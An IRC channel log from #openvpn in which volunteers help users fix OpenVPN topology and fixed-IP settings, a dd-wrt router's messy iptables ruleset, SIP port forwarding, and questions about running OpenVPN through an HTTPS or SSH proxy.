16:59 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:59 < honestly> I'm getting to it
17:01 < honestly> my server.conf has "server 10.8.0.0 255.255.255.0" and "client-config-dir ccd", and "ccd/bb1" has "ifconfig-push 10.8.0.101 10.8.0.100". What i want is for bb1 to get a fixed IP of 10.8.0.101, and to be reachable by all other clients (client-to-client is enabled)
17:02 < honestly> but bb1 gets 10.8.0.18
17:02 -!- sobersabre_ [~Sober@bzq-79-176-219-6.red.bezeqint.net] has joined #openvpn
17:02 -!- sobersabre [~Sober@bzq-79-177-161-175.red.bezeqint.net] has quit [Ping timeout: 245 seconds]
17:03 < honestly> I'm guessing that should be "ifconfig-push 10.8.0.101 10.8.0.1" instead?
17:04 < ngharo> i believe the second address should be the netmask
17:05 <+pekster> Depends on the topology
17:05 <+pekster> !/30
17:05 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
17:06 < honestly> I'm very happy to grab an entire /24 for my vpn
17:06 < honestly> 10.8.0.0/24, namely
17:06 < honestly> !topology
17:06 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
17:07 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn
17:08 < LeLion> here is the pastebin:   https://gist.github.com/anonymous/7109038
17:08 <@vpnHelper> Title: OPENVPN SERVER LOG VERB 4 (at gist.github.com)
17:09 < LeLion> MYIP is my external IP address which was edited out
17:10 < honestly> hrm, I added "topology subnet" to my server.conf but it apparently still pushes "topology net30"
17:18 < honestly> I am using version 2.2.1 on all machines
17:19 < LeLion> Gotta take my son to football practice will check back later
17:21 <+pekster> LeLion: Seems the push was fine and sent topology subnet to the client in that paste
17:22 <+pekster> You can't do a redirect-gateway setup through from "localhost" -- that's kinda silly
17:22 <+pekster> (oh, management interface, nevermind that last comment)
17:22 < LeLion> pekster: Did you mean to address honestly or was that for me? I think honestly is the one with the topology problem
17:22 <@krzee> LeLion, what is the lan ip for the client?
17:23 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Quit: Leaving]
17:23 < LeLion> 192.168.22.0
17:23 < LeLion> 192.168.22.1
17:23 <@krzee> thats a subnet, but good enough
17:23 <@krzee> ya i thought it was openwrt or ddwrt
17:23 < LeLion> the usual culprit...lol
17:23 <@krzee> seen those OCC warnings before with routers :)
17:24 <@krzee> so your openvpn looks correctly configured for that
17:24 <@krzee> show me iptables-save on the client
17:24 < honestly> whelp, there we go
17:24 < honestly> I had a rogue openvpn running >_>
17:25 < LeLion> https://gist.github.com/anonymous/7108293
17:25 <@vpnHelper> Title: OpenVPN Firewall configuration (NOT WORKING) (at gist.github.com)
17:25 <+pekster> That's not iptables-save output which you should use
17:26 <@krzee> right, run iptables-save
17:26 < LeLion> I get not found
17:26 <+pekster> symlink it to iptables
17:27 <+pekster> Some embedded distros leave it off (no clue why -- it's not like a symlink costs much)
17:28 < LeLion> symlink the command to iptables itself? Wouldn't that be equivalent to just running iptables?
17:28 <+pekster> Nope
17:29 <@krzee> if you named it iptables2, yes, if you name it iptables-save no
17:30 <+pekster> iptables-{save,restore,apply} are special in netfliter context
17:31 <+pekster> Normally (on recent "full OS distros") they all symlink to xtables-multi
17:31 < LeLion> OK. I am running grep to find the location of iptables in dd-wrt
17:32 <+pekster> no `which`? Otherwise check your path
17:32 <+pekster> grep won't really help you
17:32 <+pekster> (grep is to search within files. You don't want to search within a binary)
17:32 < rob0> uh, "which iptables"
17:32 <+pekster> That or my $PATH suggestion are far better options
17:33 <@krzee> and if which / whereis didnt exist, find works too
17:33 < rob0> embedded systems might not have find
17:33 <@krzee> mine do :D
17:33 <+pekster> if iptables can be called without a full path (we'd assume so otherwise we'd know where it was) then it's in the $PATH
17:33 <@krzee> of course mine dont have web ui either
17:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
17:34 < rob0> But you're krzee!
17:34 <@krzee> !krzee
17:34 <@vpnHelper> "krzee" is (#1) krzee says happy 4/20 or (#2) http://www.ircpimps.org/pics/krzee/blunt.jpg or (#3) location: moon base where he smokes moonajuana
17:39 < LeLion> may be I am missing something here. I did ln -s /usr/sbin/iptables iptables-save
17:39 < LeLion> iptables-save > /tmp/iptables.txt and I am still getting iptables-save not found
17:39 <+pekster> where were you when you did that? that will put an ./iptables-save symlink in your CWD (current dir)
17:39 < LeLion> it shows that the symlink was created in the tmp directory
17:40 <+pekster> Because you didn't put it somewhere else and were in /tmp/ when you did it
17:40 < LeLion> I was in the /tmp directory
17:40 <+pekster> Then /tmp/iptable-save
17:40 <+pekster> I'm quite sure /tmp/ won't be in your $PATH
17:40 < LeLion> got you
17:40 < rob0> the / directory which includes /usr might be read-only
17:41 <+pekster> The better embedded distros have an overlay that allows you to arbitrarily overwrite whatever you want
17:41 < rob0> Anyway, this is a shortcoming, a bug, in your router distro. Well worth complaining to them.
17:41 < rob0> (You should not have to fix this problem.)
17:42 <+pekster> rob0: I complained a lot to openwrt and look what they did. Of course, at least 12.x now has iptables-restore by default ;)
17:42 < rob0> they fixed it?
17:42 <@krzee> its fine you put the symlink in /tmp just use /tmp/iptables-save and be on with it
17:43 < rob0> add -c to that, /tmp/iptables-save -c
17:43 < rob0> counters often help
17:48 < LeLion> here it is: https://gist.github.com/anonymous/7109538
17:48 <@vpnHelper> Title: iptables save (at gist.github.com)
17:49 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
17:49 <@krzee> -A POSTROUTING -o tun1 -j MASQUERADE
17:49 <@krzee> why?
17:50 <@krzee> also, holy shit on the forward accept overflow
17:50 <@krzee> here, have a glass of wtf
17:53 < EugeneKay> wat?
17:53 <@krzee> http://cdn.hulaisland.com/webart/products/enlarge/2851.jpg
17:54 < LeLion> krzee: I don't know where that comes from. I certainly don't have that in my firewall rules
17:54 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit []
17:54 < EugeneKay> overflow? Did I miss someting?
17:54 <@krzee> reboot and get a new uptables-save
17:54 <@krzee> maybe you typed it in 1000 times during the testing
17:55 < rob0> yikes
17:55 <@krzee> EugeneKay, see his last gist.github link, specifically the repeating forward entries from line 39 til 256
17:55 <@krzee> haha
17:55 < LeLion> I have to do that later. My son is about to kill me if I don't take him to football practice now. He's already late
17:55 <@krzee> but also the nat rule that is breaking his setup
17:55 < EugeneKay> Oh I see. I thought you were talking about a vuln of some sort
17:56  * EugeneKay needs to follow conversations better
17:56 <@krzee> LeLion, WELL NOW YOU KNOW YOUR PROBLEM
17:56 <@krzee> oops capslock
17:56 < EugeneKay> I think it was justified
17:56 <@krzee> nah he knew it was his fw in the first place
17:56 < EugeneKay> I meeant the caps
17:56 <@krzee> now he knows why (that nat rule i pointed out)
17:56 <+pekster> LeLion: Those are your firewall rules. iptables-save shows you the what the kernel has actively loaded
17:57 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
17:57 < LeLion> Got it. I will reboot the router when I come back and check it again. Thanks guys! See you in a few
17:57 <@krzee> go take your son, you know what to fix, later
18:00 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
18:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
18:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:30 < honestly> I want to push a route to a single IP in my vpn
18:31 < honestly> push "route 10.5.0.1 255.255.255.254" is not doing it
18:33 < honestly> push "route 10.5.0.1" is doing it.
18:33 < honestly> \o/
18:34 < honestly> now let's see if this works in windows :|
18:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:36 <@krzee> a single ip is 255.255.255.255
18:37 <@krzee> .254 is not valid
18:37 <@krzee> !cidr
18:37 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
18:37 < rob0> *not valid for an odd-numbered 4th quad
18:38 < honestly> yeah, thanks
18:38 <+pekster> 254 is completely valid as a CIDR netmask, though a /31 isn't generally that useful unless you're using PtP (in which case you're probably wanting to push a /32 anyway)
18:38 < rob0> 10.5.0.0/255.255.255.254 is both 10.5.0.0 and 10.5.0.1
18:38 < honestly> is openvpn 2.3.2 client on windows compatible with openvpn 2.2.1 server on linux?
18:39 <+pekster> honestly: Yes, unlesss you need 2.3.x specific features, like native (unpatched) IPv6 support
18:39 < rob0> You can't use any 2.3.x-only settings. You can only use what 2.2.1 offers.
18:39 < honestly> yeah, okay
18:39 < rob0> pekster, always types faster and/or lags less :(
18:41 <+pekster> Life isn't fun without challenges ;)
18:43 < honestly> route looks good
18:43 < honestly> clients looks good too
18:44 < honestly> now I just need to wait for the software package to download
18:44 < honestly> how much has openvpn.net jumped the shark anyway?
18:52 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
18:53 <@krzee> jumped the shark?
18:53 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
18:54 < EugeneKay> !google jumped the shark
18:54 <@vpnHelper> Jumping the shark - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Jumping_the_shark>; Urban Dictionary: jump the shark: <http://www.urbandictionary.com/define.php?term=jump%20the%20shark>; What Is 'Jumping the Shark'? - About Internet for Beginners: <http://netforbeginners.about.com/od/internetlanguage/f/What-Is-Jump-the-Shark.htm>
18:54 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
18:55 <@krzee> ahh
19:08 <@ecrist> openvpn hasn't yet jumped the shark - despite OpenVPN Technologies Inc's attempt do to just that.
19:14  * EugeneKay jumps whales
19:16 -!- onats [~onats@unaffiliated/onats] has joined #openvpn
19:19 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
19:24 < honestly> ecrist: how hard are they trying?
19:24 <+pekster> Hard enough to confuse the crap out of people looking for openvpn
19:32 < honestly> does openvpn check revocation?
19:34 <+pekster> See --crl-verify
19:34 <+pekster> If you want OSCP you'd need to write that as a check yourself, such as via the --verify-tls hook
19:34 < honestly> cool
19:34 < honestly> no thanks
19:35 < honestly> if crl works I'm happy
19:35 <+pekster> ( ah, it's --tls-verify )
19:58 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
20:06 -!- Champi [Champi@rootshell.fr] has joined #openvpn
20:14 -!- raidz is now known as raidz_away
20:18 -!- troyt [~troyt@2601:7:6d00:432:a0e6:97ff:fe78:f02e] has quit [Ping timeout: 240 seconds]
20:19 -!- ljvb [~jason@us.vps.vanbrecht.com] has quit [Ping timeout: 252 seconds]
20:24 -!- LeLion [~LeLion@75.144.103.2] has quit [Ping timeout: 272 seconds]
20:25 -!- LeLion [~LeLion@75.144.103.2] has joined #openvpn
20:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:43 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
20:44 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
20:58 < LeLion> Alright, I am back
20:58 < LeLion> This is what I get in iptables-save after a fresh reboot of the router
20:59 < LeLion> https://gist.github.com/anonymous/7111338
20:59 <@vpnHelper> Title: iptables client log (at gist.github.com)
21:00 < LeLion> now notice that I still have -A POSTROUTING -o tun1 -j MASQUERADE
21:00 < LeLion> I don't have that anywhere in my firewall settings
21:01 < LeLion> That somehow made its way to iptables without me having anything to do with it
21:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
21:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:09 <+pekster> LeLion: You need to fix your broken firewall setup then. Line 12 doesn't make a lot of sense but isn't "wrong" (just really strange.) Line 17 is a dupe of 17. Line 18? huh? You really want 10,001 ports to all forward to a specific host? Okay.... You want _outbound_ packets via tun1 to be source-NAT'd? why? Why have you repeated lines 39-44 on lines 45-62?
21:10 <+pekster> Basically, whatever you did to set up your firewall was wrong. Very wrong, and you need to review the basics before you can hope to have a sane firewall
21:10 <+pekster> (17 dupe of 18)
21:10 <+pekster> Ugh, of 16. Should be obvious what I mean (read your rules 'eh?)
21:10 < ngharo> looks like he's got an asterisk box behind his NAT
21:10 <+pekster> ngharo: huh?
21:11 <+pekster> Your comments makes a little sense as that fellow's rules
21:11 <+pekster> Line 8? YOu mean the table definition?
21:11 < ngharo> (behind his firewall)
21:11 < ngharo> the 10000:20000 and 5060 are common SIP ports
21:11 <+pekster> That's a _RANGE_
21:11 < ngharo> yes i know
21:12 <+pekster> That's Ten _THOUSAND_ and 1 ports
21:12 < ngharo> yes, asterisk by default uses a random port in that range for rtp streams
21:12 <+pekster> I've supported VoIP phones to an asterisk box (yes, with SIP+RTP) and didn't need to do that
21:13 < ngharo> i think it's required for NAT'd sip clients
21:13 < ngharo> well "a range" not necessarily that large
21:13 <+pekster> BS. I used VoIP just fine from my NAT'd home network to the same asterisk server
21:13 < ngharo> I don't
21:14 < ngharo> registration works of course on 5060 but rtp can't get through when i dont have those ports open
21:14 < ngharo> you can even make calls just never heard anything
21:15 < ngharo> "If you have a NAT or firewall between Asterisk and the server, you need to set these up to handle forwarding of the configured ports."
21:16 <+pekster> Again, bullshit. Read CONFIG_NF_CONNTRACK_SIP
21:16 <+pekster> Learn to use real firewalls
21:16 <+pekster> Stateful firewalls: almsot as new as CIDR ;)
21:16 < ngharo> haha
21:17 <+pekster> Your information is _decades_ old
21:17 < ngharo> it's weird that _every_ doc i've read never mentions ip_conntrack_sip
21:18 <+pekster> Then go to #netfilter and learn how stateful firealls work
21:19 <+pekster> Your suggestion to open hundreds (or worse, ten thousand of them) is as stupid as doing it for FTP after refusing to learn about nf_conntrack_ftp
21:20 <+pekster> Stateful firewalls are aware of the data being sent across them and for nasty protocols that use unsolicited secondary ports, helpers are available in most standard OSes (Linux, BSD, etc) that allow the firewall to dynamically accept the reply with such silly things as blindly forwarding in swaths of ports
21:21 <+pekster> Direct confusion to one of the many guides that discuss this concept further. I recommend the frozentux.net site available in the #netfilter /TOPIC if you're new to the concept
21:21 < ngharo> sip != rtp so i'm not sure that module helps in this case
21:22 <+pekster> https://lmddgtfy.net/?q=asterisk%20linux%20nf_conntrack_sip
21:22 <@vpnHelper> Title: Let Me DuckDuckGo That For You (at lmddgtfy.net)
21:22 <+pekster> Since you clearly can't search the web
21:22 <+pekster> (hint: The SIP:RTP::FTP-control:FTP-data )
21:24 < ngharo> i apologize for not seeing the set_expected_rtp_rtcp function in the source file >_>
21:25 <+pekster> This isn't a matter of source code; I had no idea until now there was such a function
21:25 <+pekster> This is a pretty basic element of a stateful fireawll that is aware of higher-level protocols like this
21:25 <+pekster> Again, you're in the wrong channel for basic firewall education
21:25 < ngharo> and I simply wasn't aware of RTP tracking in netfilter
21:26 < ngharo> bad day pekster? :/
21:26 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
21:29 <+pekster> Don't nit-pick off-topic elements from a pepherial discussion if you're not prepared for the heat. [insert related adage about heat->fire]
21:30 < LeLion> ngharo: as you pointed out, I do have an asterisk box running with ports 10000-20000 forwarded to it. Of course it's only udp.  I have different gateways registering with the box and they do choose a random port in that range.
21:30 < ngharo> i made a more than likely correct assumption that asterisk was behind his firewall
21:30 < ngharo> you started the nit-picking :)
21:30 <+pekster> And the rest of that rullset is screwed up
21:31 < LeLion> pekster: I am not sure how to go about not getting one way audio without opening all those ports
21:32 <+pekster> stateful firewalling with the nf_conntrack_sip module. #netfilter can assist further if you've never heard of stateful fireawlling, the conntrack module, or the kernel helper-modules
21:32 < LeLion> As for the firewall, I am using dd-wrt and besides the rules I wrote myself, there is not much I can change
21:33 < LeLion> may be I need to try a different build of dd-wrt?
21:34 <+pekster> Since it's a linux-based system, that's got to be crap. Disregarding that, you can always change it since iptables-restore lets you load arbitrary rulesets. Your firewall is completely exposed on the INPUT chain, you're doing no stateful firewalling, your rules repeat, and you apparently have no clue why/how any of it is setup
21:36 <+pekster> Minus any ports you need exposed for LAN systems or VPN tasks, start with a basic and extensible firewall. #netfilter has guides (and people to help where it's actually on-topic to get detailed assistance with such things), but you're free to learn from a no-frills exmaple with comments of mine here:
21:36 <+pekster> https://github.com/QueuingKoala/netfilter-samples
21:36 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
21:36 < LeLion> Just followed the wiki on how to get openvpn working on dd-wrt and when that didn't work, started looking all over the web for sample firewall configurations. I would certainly not call myself an iptables expert
21:38 < LeLion> Thanks for the pointer. I will certainly check out your example and hopefully that will solve my firewall issue
21:39 -!- sobersabre__ [~Sober@bzq-79-177-31-248.red.bezeqint.net] has joined #openvpn
21:39 <+pekster> My sample is a "super basic" starting point for an IPv4 (or IPv6, if you use that rulese) for either a border gateway or single host
21:39 <+pekster> You obviously need to extend it for things like your VPN, but the fact that you haven't done the basics required of a modern firewall and have rules that repeat themselves 4 times over suggests you need to start at a more basic level
21:40 < LeLion> I will look into it. Thanks
21:40 -!- sobersabre_ [~Sober@bzq-79-176-219-6.red.bezeqint.net] has quit [Ping timeout: 245 seconds]
21:41 <+pekster> To put it bluntly, using openvpn isn't really possible until you have a decent handle on the basic networking concepts like routing, network configuration, and firewalls, since all 3 elements come into play with a VPN
21:43 < LeLion> I do have a pretty good understanding of those. I am just not familiar with iptables itself. The firewall is the only issue I am having
21:44 <+pekster> Start with a more basic setup; then add in each element you need one at a time. NAT on your uplink to the Internet (my sample has that) and pass traaffic from your LAN to the Internet. Then add in the VPN if that's your next step, making sure you allow the traffic between those networks; often a single `-i tun+ -j ACCEPT` stanza is all you need since you are (hopefully) allowing your LAN network/interface to forward already
21:45 -!- maskedlua is now known as marxocapitalists
21:45 -!- marxocapitalists is now known as maskedlua
21:47 -!- publik1 [~inigm@192.241.174.169] has joined #openvpn
21:48 < LeLion> I guess I could run iptables-restore in the startup script and start with a new set of rules?
21:48 <+pekster> Sure, or fiture out what is duplicating your rules (the ones I've mentioned multiple times now)
21:49 <+pekster> dd-wrt is a trash embedded OS (they've had security problems, don't open their build systems, etc) but I'm sure they aren't as clueless as the existing ruleset
21:49 <+pekster> They surely wouldn't have set up what is in your current FORWARD chain
21:52 < LeLion> pekster: my firewall configuration is here -> https://gist.github.com/anonymous/7108293
21:52 <@vpnHelper> Title: OpenVPN Firewall configuration (NOT WORKING) (at gist.github.com)
21:52 <+pekster> That's not a linux fireawll configuration
21:53 -!- publik [~inigm@c-50-158-105-68.hsd1.il.comcast.net] has joined #openvpn
21:53 <+pekster> That's some script nonsense that
21:53 <+pekster> The firewall is what netfilter uses. I have no clue what the file is, but it's not parsable by anything netfitler-related
21:53 <+pekster> _This_ is your firewall, and it's poorly designed: https://gist.github.com/anonymous/7111338/raw/a5926e3c4946f9d32d7e6a7e32277414060e4918/iptables_client_log
21:55 -!- publik1 [~inigm@192.241.174.169] has quit [Ping timeout: 265 seconds]
21:55 <+pekster> You need to fix it before you can do anything useful with redirecting your VPN clients to the Internet. At the very least ephemeral ports won't work well since 10000-20000 are blindly redirected in, for starters. You could possibly SNAT (vs MASQUERADE) to non-conflicting ports, but that's just one of many examples how your ruleset won't work for what your stated goal is. There's so much else wrong with your ruleset you really need to ...
21:55 <+pekster> ... read some guides and learn how it works
21:55 < LeLion> I know that. However, the rules I pointed to earlier are the only ones I added. Everything else was done automatically by dd-wrt
21:56 <+pekster> Then go complain to #ddwrt. You have duplicates that aren't "duplicated" in that ruleset
21:57 <+pekster> !101
21:57 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
21:58 < LeLion> I don't intend to complain as I do appreciate the hard work of those guys. Of course, I will share my experience with them and I will try to find a way to make it work as many people already do. I just have to find a build that works
21:59 < LeLion> at any rate, thank you for your help! At least now I know that I need to try a diffrent build on the client
22:00 < LeLion> Good night all!
22:05 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:07 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:10 -!- LeLion [~LeLion@75.144.103.2] has quit []
22:23 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Connection reset by peer]
22:36 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
22:42 -!- maskedlua is now known as alawyer
22:42 -!- alawyer is now known as maskedlua
22:59 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:16 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
23:17 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
23:18 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
23:26 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
23:28 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
23:29 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:29 -!- publik [~inigm@c-50-158-105-68.hsd1.il.comcast.net] has quit [Quit: Leaving.]
23:30 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 240 seconds]
23:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
--- Day changed Wed Oct 23 2013
00:13 -!- publik [~inigm@adsl-99-74-1-57.dsl.peoril.sbcglobal.net] has joined #openvpn
00:13 -!- publik [~inigm@adsl-99-74-1-57.dsl.peoril.sbcglobal.net] has quit [Client Quit]
00:37 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
00:51 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:54 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
01:25 -!- onats [~onats@unaffiliated/onats] has quit [Quit: onats]
01:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:40 -!- mattock_afk is now known as mattock
02:35 -!- onats [~onats@unaffiliated/onats] has joined #openvpn
02:38 < defswork> heh
02:39 < defswork> one way voice is most likely hes not set local network in * to the vpn client subnets
02:39  * defswork is reading the overnight logs :)
02:59 -!- sobersabre [~Sober@bzq-79-177-31-248.red.bezeqint.net] has joined #openvpn
03:01 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
03:02 -!- sobersabre__ [~Sober@bzq-79-177-31-248.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
03:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
03:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:13 -!- xrosnight [~quassel@58.251.101.137] has joined #openvpn
03:14 -!- xrosnight [~quassel@58.251.101.137] has quit [Changing host]
03:14 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
03:15 -!- xrosnight is now known as alexFocus
03:16 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:25 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
03:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:01 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
04:04 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 240 seconds]
04:07 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
04:08 -!- onats [~onats@unaffiliated/onats] has quit [Quit: onats]
04:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:20 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
04:23 -!- onats [~onats@unaffiliated/onats] has joined #openvpn
04:27 -!- novaflash is now known as novaflash_away
04:29 -!- novaflash_away is now known as novaflash
04:45 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
04:48 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
04:49 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
04:50 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:51 -!- alexFocus [~quassel@unaffiliated/xrosnight] has quit [Quit: walking]
04:54 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:15 < mist_> anyone ever use openvpn in osx? trying to use tunnelblick but its refusing to accept my config
05:17 < mist_> cd
05:17 < mist_> oops
05:25 <@ecrist> I use it on OS X, with tunnelblick
05:29 -!- onats [~onats@unaffiliated/onats] has quit [Quit: onats]
05:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:51 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 240 seconds]
05:53 < mist_> finally got it to work, it needed all files to be in cleartext. epicly safe
05:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:55 <@ecrist> what other format would they be in?
06:04 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
06:08 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:31 -!- cjross [~CJ@wsip-68-225-82-76.hr.hr.cox.net] has joined #openvpn
06:33 < cjross> How different does OpenVPN look from normal SSL traffic?  If run on 443 will it be distinguishable from normal https browsing?
06:44 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Quit: Konversation terminated!]
06:45 <@ecrist> openvpn is very distinguishable
06:45 <@ecrist> we don't do anything to hide it
06:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:46 < cjross> Ah.  I saw someone claim that you could configure it to look just like normal https traffic.
06:46 < cjross> Wanted to verify if that was true or not.
06:47 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:48 <@ecrist> well, you can use an HTTPS proxy 
06:48 <@ecrist> then the openvpn goo is encapsulated in https
06:48 < cjross> ecrist, I'm not sure what you mean.
06:50 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 <@ecrist> cjross: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
06:50 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
06:51 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Client Quit]
06:55 < cjross> ecrist, I was looking more for a diagram.  I've used OpenVPN before, just not with a proxy.  Where would the proxy be located?
06:56 <@ecrist> anywhere
06:56 <@ecrist> it could be a local proxy or a remote one
06:56 <@ecrist> you could also use an ssh proxy and socks 5
06:56 <@ecrist> then the traffic looks like SSH
06:58 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
07:00 < cjross> Sorry for being dense, but how does the proxy make the traffic look like https or ssh?
07:05 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
07:06 <@ecrist> http://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/
07:06 <@vpnHelper> Title: SSH Tunneling Explained | Source Open (at chamibuddhika.wordpress.com)
07:08 <@ecrist> here's a simple diagram
07:08 <@ecrist> CLIENT <---> PROXY <---> SERVER
07:08 < cjross> ecrist, Yes, I understand that.
07:09 < cjross> BTW, reading the article you linked.
07:12 < cjross> Okay, finished the article.
07:13 < cjross> I'm a bit confused as to why you would tunnel openvpn over ssh, but I'll come back to that.
07:14 < cjross> If I'm connecting through an https proxy, then I'm making an https connection from the client to the proxy?
07:14 < cjross> And then the proxy makes an https connection to the openvpn server?
07:14 < cjross> Which then has to translate from https to openvpn?
07:15 <@ecrist> to a degree
07:16 <@ecrist> the best way to figure that out is to do it, and capture the packets
07:16 <@ecrist> you'll see exactly what's going on
07:16 < cjross> So the proxy isn't doing anything with openvpn. It's just proxying https traffic?
07:16 < cjross> ecrist, Understood.
07:29 < mist_> getting this error:
07:30 < mist_> Wed Oct 23 14:29:14 2013 /sbin/ifconfig tun0 10.100.0.6 netmask 10.100.0.5 mtu 1500 broadcast 255.255.255.254
07:30 < mist_> SIOCSIFNETMASK: Invalid argument
07:30 < mist_> Wed Oct 23 14:29:14 2013 Linux ifconfig failed: external program exited with error status: 1
07:30 < mist_> Wed Oct 23 14:29:14 2013 Exiting
07:30 < mist_> anyone got a clue? it just stopped working
07:32 <@ecrist> !config
